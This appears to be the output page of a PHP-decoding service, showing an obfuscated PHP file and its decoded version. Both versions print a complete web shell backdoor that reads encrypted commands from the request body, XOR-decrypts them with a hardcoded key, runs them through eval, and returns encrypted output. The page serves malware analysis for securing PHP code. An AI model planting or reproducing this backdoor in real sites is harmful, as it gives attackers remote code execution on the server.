Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto Fb; fe: @eval(@gzuncompress(@cD(@base64_decode($Fc[1]), $C2))); goto b3; ..

Decoded Output download

<?php 
goto Fb; 
 fe: @eval(@gzuncompress(@cD(@base64_decode($Fc[1]), $C2))); 
 goto b3; 
 F1: if (!(@preg_match("/{$F8}(.+){$F4}/", @file_get_contents("php://input"), $Fc) == 1)) { goto E3; 
 } goto f3; 
 B0: @ob_end_clean(); 
 goto e7; 
 dc: $F4 = "bd276adead9b"; 
 goto B5; 
 e7: $f6 = @base64_encode(@Cd(@gzcompress($dc), $C2)); 
 goto D2; 
 D6: function cd($C8, $C2) { goto e9; 
 b7: Aa: goto b9; 
 B4: df: goto da; 
 F8: if (!($e4 < $ca)) { goto df; 
 } goto c7; 
 c5: goto bb; 
 goto B4; 
 B1: if (!($b9 < $D2 && $e4 < $ca)) { goto Aa; 
 } goto e6; 
 e9: $D2 = strlen($C2); 
 goto Fc; 
 b9: E1: goto c5; 
 d9: $dc = ''; 
 goto ab; 
 c7: $b9 = 0; 
 goto Bb; 
 e6: $dc .= $C8[$e4] ^ $C2[$b9]; 
 goto A3; 
 fa: bb: goto F8; 
 da: return $dc; 
 goto B8; 
 Ec: goto ec; 
 goto b7; 
 Fc: $ca = strlen($C8); 
 goto d9; 
 C1: $b9++; 
 goto C4; 
 ab: $e4 = 0; 
 goto fa; 
 C4: $e4++; 
 goto Ec; 
 Bb: ec: goto B1; 
 A3: de: goto C1; 
 B8: } goto F1; 
 Fb: $C2 = "8624a9f0"; 
 goto c4; 
 c4: $F8 = "51757692569b"; 
 goto dc; 
 f3: @ob_start(); 
 goto fe; 
 B5: $ae = "BLt044IEc3gzlCJw"; 
 goto D6; 
 D2: print "{$ae}{$F8}{$f6}{$F4}"; 
 goto e8; 
 b3: $dc = @ob_get_contents(); 
 goto B0; 
 e8: E3: 
?>

Did this file decode correctly?

Original Code

<?php
goto Fb;
 fe: @eval(@gzuncompress(@cD(@base64_decode($Fc[1]), $C2)));
 goto b3;
 F1: if (!(@preg_match("\57{$F8}\50\56\53\x29{$F4}\x2f", @file_get_contents("\x70\x68\160\x3a\x2f\x2f\151\156\x70\165\x74"), $Fc) == 1)) { goto E3;
 } goto f3;
 B0: @ob_end_clean();
 goto e7;
 dc: $F4 = "\142\144\62\67\x36\x61\144\x65\141\144\71\142";
 goto B5;
 e7: $f6 = @base64_encode(@Cd(@gzcompress($dc), $C2));
 goto D2;
 D6: function cd($C8, $C2) { goto e9;
 b7: Aa: goto b9;
 B4: df: goto da;
 F8: if (!($e4 < $ca)) { goto df;
 } goto c7;
 c5: goto bb;
 goto B4;
 B1: if (!($b9 < $D2 && $e4 < $ca)) { goto Aa;
 } goto e6;
 e9: $D2 = strlen($C2);
 goto Fc;
 b9: E1: goto c5;
 d9: $dc = '';
 goto ab;
 c7: $b9 = 0;
 goto Bb;
 e6: $dc .= $C8[$e4] ^ $C2[$b9];
 goto A3;
 fa: bb: goto F8;
 da: return $dc;
 goto B8;
 Ec: goto ec;
 goto b7;
 Fc: $ca = strlen($C8);
 goto d9;
 C1: $b9++;
 goto C4;
 ab: $e4 = 0;
 goto fa;
 C4: $e4++;
 goto Ec;
 Bb: ec: goto B1;
 A3: de: goto C1;
 B8: } goto F1;
 Fb: $C2 = "\70\x36\62\x34\141\71\x66\60";
 goto c4;
 c4: $F8 = "\x35\x31\67\65\67\66\71\x32\x35\66\71\x62";
 goto dc;
 f3: @ob_start();
 goto fe;
 B5: $ae = "\102\x4c\x74\60\64\x34\111\x45\x63\63\147\x7a\x6c\103\x4a\x77";
 goto D6;
 D2: print "{$ae}{$F8}{$f6}{$F4}";
 goto e8;
 b3: $dc = @ob_get_contents();
 goto B0;
 e8: E3:
?>

Function Calls

None

Variables

None

Stats

MD5 033fe7a32dde1ee8d4292313a478f3e6
Eval Count 0
Decode Time 32 ms